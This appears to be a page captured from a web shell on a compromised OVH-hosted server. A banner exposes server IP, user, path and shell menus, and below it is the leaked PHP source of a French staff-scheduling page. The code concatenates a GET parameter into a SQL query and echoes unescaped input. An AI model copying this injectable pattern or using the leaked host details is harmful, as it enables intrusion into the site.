|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
use App\Configuration;
use App\DatabaseWrapper;
use App\Repository;
require __DIR__ . '/vendor_dispo/autoload.php';
// if(!empty($_GET)){
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// }
$databaseWrapper = new DatabaseWrapper(Configuration::DB_NAME, Configuration::DB_USER, Configuration::DB_PASS, Configuration::DB_HOST, Configuration::DB_PORT);
$repository = new Repository($databaseWrapper);
$startDate = $_GET['start_date'] ?? date('Y-m-01');
$firstDayOfNextMonth = date('Y-m-01', strtotime('first day of next month'));
$endDate = $_GET['end_date'] ?? $firstDayOfNextMonth;
// $hideBlankWorkingDays = $_GET['hide_blank_working_days'] ?? false;
$hideBlankWorkingDays = $_GET['hide_blank_working_days'] ?? false;
$hideBlankBookedDays = $_GET['hide_blank_booked_days'] ?? false;
$hideBlankAvailableRanges = $_GET['hide_blank_available_ranges'] ?? false;
$hideAbsentDays = $_GET['hide_absent_ranges'] ?? false;
$dayAvailable = $repository->getDayAvailable();
$etablisements = $repository->getEtablissements();
if (get('etablissement_id')) {
$dataBooked = $repository->getDataByDateAndEtablis($startDate, $endDate, intval(get('etablissement_id')));
list($dataAbsence, $dataSkip) = $repository->getAbsenceByDate($startDate, $endDate, array_keys($dataBooked));
// echo "<pre>" ;
// print_r($dataBooked) ;
// echo "</pre>" ;
} else {
$dataBooked = $repository->getDataByDate($startDate, $endDate);
list($dataAbsence, $dataSkip) = $repository->getAbsenceByDate($startDate, $endDate);
}
function getAvailableTimeRangesMultiple(array $workingHours, array $prestation_jour, array $absence): ?array
{
$available = [];
if ($absence) {
$prestation_jour[] = ['heure_debut' => $absence[0][0], 'heure_fin' => $absence[0][1]];
usort($prestation_jour, function ($a, $b) {
return strcmp($a["heure_debut"], $b["heure_debut"]);
});
}
if (!$prestation_jour) {
foreach ($workingHours as $workingHoursItem) {
$available[] = [$workingHoursItem['heure_deb'], $workingHoursItem['heure_fin']];
}
return $available;
}
foreach ($workingHours as $workingHoursItem) {
$new = getAvailableTimeRanges($workingHoursItem['heure_deb'], $workingHoursItem['heure_fin'], $prestation_jour);
foreach ($new as $newItem) {
$available[] = $newItem;
}
}
return $available;
}
function getAvailableTimeRanges(string $heure_deb, string $heure_fin, array $prestation_jour): ?array
{
$availableTimeRanges = [];
if (!$prestation_jour) {
return [$heure_deb, $heure_fin];
}
$start = $heure_deb;
$end = $heure_fin;
foreach ($prestation_jour as $i => $item) {
if ($item['heure_debut'] <= $start && $item['heure_fin'] >= $end) {
return [];
}
if ($item['heure_debut'] >= $end || $item['heure_fin'] <= $start) {
continue;
}
$nextItemStart = min($prestation_jour[$i + 1]['heure_debut'] ?? $end, $end);
if ($start < $item['heure_debut']) {
if ($end > $item['heure_debut']) {
$availableTimeRanges[] = [$start, $item['heure_debut']];
if ($end > $item['heure_fin']) {
$availableTimeRanges[] = [$item['heure_fin'], $end];
}
$start = $item['heure_fin'];
continue;
} else {
$availableTimeRanges[] = [$start, $end];
break;
}
} elseif ($start >= $item['heure_debut']) {
$item['heure_fin'] = min($item['heure_fin'], $end);
if ($start >= $item['heure_fin']) {
continue;
} else {
if ($item['heure_fin'] != ($nextItemStart)) {
$availableTimeRanges[] = [$item['heure_fin'], $nextItemStart];
}
$start = $nextItemStart;
}
}
}
if (!$availableTimeRanges) {
$availableTimeRanges[] = [$start, $end];
}
return $availableTimeRanges;
}
?>
<!doctype html>
<html lang="en">
<head>
<?php include('header.php'); ?>
<link href="assets/bootstrap.min.css" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li>
<h3><button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-nouvelle"><i class="fas fa-plus"></i> RENDEZ-VOUS</button></h3>
</li>
</ul>
<ul class="navbar-nav ml-auto">
</ul>
</nav>
<?php include('menu.php'); ?>
<div class="content-wrapper">
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
</ol>
</div>
</div>
</div>
</section>
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<div class="card card-primary">
<div class="card-body p-20">
<form action="">
<div class="row mb-4">
<div class="col-md-3">
<label for="start_date">Début</label>
<input type="date" name="start_date" id="start_date" class="form-control" value="<?=$startDate?>">
</div>
<div class="col-md-3">
<label for="end_date">Fin</label>
<input type="date" name="end_date" id="end_date" class="form-control" value="<?=$endDate?>">
</div>
<div class="col-md-3">
<button class="btn btn-primary mt-4 px-4">Valider</button>
</div>
<div class="col-md-3"></div>
<div class="col-md-3 mt-2">
<div class="form-check">
<input class="form-check-input" type="checkbox" value="1" id="hide_blank_working_days" name="hide_blank_working_days" <?=$hideBlankWorkingDays ? 'checked' : ''?>>
<label class="form-check-label" for="hide_blank_working_days">
Masquer les jours des disponibilité vides
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="checkbox" value="1" id="hide_blank_booked_days" name="hide_blank_booked_days" <?=$hideBlankBookedDays ? 'checked' : ''?>>
<label class="form-check-label" for="hide_blank_booked_days">
Masquer les jours des prestation vides
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="checkbox" value="1" id="hide_blank_available_ranges" name="hide_blank_available_ranges" <?=$hideBlankAvailableRanges ? 'checked' : ''?>>
<label class="form-check-label" for="hide_blank_available_ranges">
Masquer les plages disponibles réel vides
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="checkbox" value="1" id="hide_absent_ranges" name="hide_absent_ranges" <?=$hideAbsentDays ? 'checked' : ''?>>
<label class="form-check-label" for="hide_absent_ranges">
Masquer les jours absentesssssss
</label>
</div>
</div>
<div class="col-md-3">
<label for="etablissement_id"></label>
<select class="form-select" aria-label="Default select example" name="etablissement_id" id="etablissement_id">
<option value="" <?=!get('etablissement_id') ? 'selected':''?>>Tous les établissements</option>
<?php foreach ($etablisements as $etablisement):?>
<option <?=get('etablissement_id') == $etablisement['etablissement_id'] ? 'selected':''?> value="<?=$etablisement['etablissement_id']?>"><?=$etablisement['etablissement_nom']?></option>
<?php endforeach;?>
</select>
</div>
</div>
</form>
<?php
// echo "uuuuuuuuu<br/>" ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
if(!empty($_GET['etablissement_id']))
{
$whero = " AND `etablissement_id` = ".$_GET['etablissement_id'] ;
}
foreach ($dayAvailable as $salaryId => $dayAvailableItem):?>
<?php if ((!$hideBlankWorkingDays || $dayAvailableItem) && (!$hideBlankBookedDays || isset($dataBooked[$salaryId]))):
list($salarie_nom , $salarie_prenom , $nbr_sal) = dbi_fetch_row ( dbi_query("SELECT salarie_nom , salarie_prenom , count(salarie_id) as nbr_sal FROM `salarie` WHERE `salarie_id` = ".$salaryId." $whero ")) ;
// echo "==> $nbr_sal <br/>" ;
// dbi_fetch_row
// SELECT * FROM `salarie` WHERE `salarie_id` = 710 AND `etablissement_id` = 0
if($nbr_sal == 1){
// echo "test <br/>" ;
?>
<h3><?=$salarie_nom." ".$salarie_prenom."(".$salaryId.")"?></h3>
<table class="table table-bordered table-striped table-hover">
<thead>
<tr>
<th scope="col">date</th>
<th scope="col">jour</th>
<th scope="col">disponibilité</th>
<th>prestation</th>
<th scope="col">disponibilité reel</th>
</tr>
</thead>
<tbody>
<?php
$start_timestamp = strtotime($startDate);
$end_timestamp = strtotime($endDate);
$totalBookedMinutes = 0;
for ($timestamp = $start_timestamp; $timestamp <= $end_timestamp; $timestamp += 86400):?>
<?php
switch (date('l', $timestamp)) {
case 'Monday':
$day_availability = 'Lundi' ;
break;
case 'Tuesday':
$day_availability = 'Mardi' ;
break;
case 'Wednesday':
$day_availability = 'Mercredi' ;
break;
case 'Thursday':
$day_availability = 'Jeudi' ;
break;
case 'Friday':
$day_availability = 'Vendredi' ;
break;
case 'Saturday':
$day_availability = 'Samedi' ;
break;
case 'Sunday':
$day_availability = 'Dimanche' ;
break;
}
$currentDate = date('Y-m-d', $timestamp);
if (isset($dataSkip[$salaryId]) && in_array($currentDate, $dataSkip[$salaryId])) {
if (!$hideAbsentDays) echo "<tr><td>$currentDate</td><td>".$day_availability."</td><td colspan='3'>Absente</td>";
continue;
}
$currentDateOfWeekNumber = date('N', $timestamp);
if ($hideBlankWorkingDays && !isset($dayAvailableItem[$currentDateOfWeekNumber])) {
continue;
}
if ($hideBlankBookedDays && !isset($dataBooked[$salaryId][$currentDate])) {
continue;
}
$availableForThisDay = [];
if (isset($dayAvailableItem[$currentDateOfWeekNumber])) {
$availableForThisDay = getAvailableTimeRangesMultiple($dayAvailableItem[$currentDateOfWeekNumber], $dataBooked[$salaryId][$currentDate] ?? [], $dataAbsence[$salaryId][$currentDate] ?? []);
}
if ($hideBlankAvailableRanges && !$availableForThisDay) {
continue;
}
if (isset($dataBooked[$salaryId][$currentDate])) {
foreach ($dataBooked[$salaryId][$currentDate] as $item) {
$totalBookedMinutes += getDurationInMinutes($item['heure_fin'], $item['heure_debut']);
}
}
?>
<tr>
<td>
<?=date('Y-m-d', $timestamp)?>
</td>
<td>
<?=$day_availability?>
</td>
<td>
<?php if (isset($dayAvailableItem[$currentDateOfWeekNumber])):?>
<?php foreach ($dayAvailableItem[$currentDateOfWeekNumber] as $dayAvailableItemSubItem):?>
<?=$dayAvailableItemSubItem['heure_deb']?>-<?=$dayAvailableItemSubItem['heure_fin']?><br>
<?php endforeach;?>
<?php endif;?>
</td>
<td>
<?php if (isset($dataBooked[$salaryId][$currentDate])):?>
<?php foreach ($dataBooked[$salaryId][$currentDate] as $dataBookedItem):?>
<?=$dataBookedItem['heure_debut']?>-<?=$dataBookedItem['heure_fin']?><br>
<?php endforeach;?>
<?php endif;?>
<?php if (isset($dataAbsence[$salaryId][$currentDate])):?>
<?php endif;?>
</td>
<td>
<?php foreach ($availableForThisDay as $item):?>
<?=$item[0]?>-<?=$item[1]?><br>
<?php endforeach;?>
</td>
</tr>
<?php endfor;?>
<tr>
<td colspan="3"></td>
<td><?=minutes_to_time_string($totalBookedMinutes)?></td>
<td></td>
</tr>
</tbody>
</table>
<?}?>
<?php endif;?>
<?php endforeach;?>
</div>
</div>
</section>
</div>
</div>
</div>
</div>
</div>
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<script src="assets/bootstrap.bundle.min.js"></script>
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable({
"responsive": true, "lengthChange": false, "autoWidth": false, "paging": false,
"buttons": ["copy", "csv", "excel", "pdf", "print"]
}).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
$('#example2').DataTable({
"paging": false,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
"responsive": true,
});
});
</script>
<script>
$(function () {
$("#allcheck").click(function(){
$('input:checkbox').not(this).prop('checked', this.checked);
});
var TOTALCA ="<?php echo number_format( $CATTC, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCA').html(TOTALCA);
var TOTALCAHT ="<?php echo number_format( $CAHT, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCAHT').html(TOTALCAHT);
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
</body>
</html>
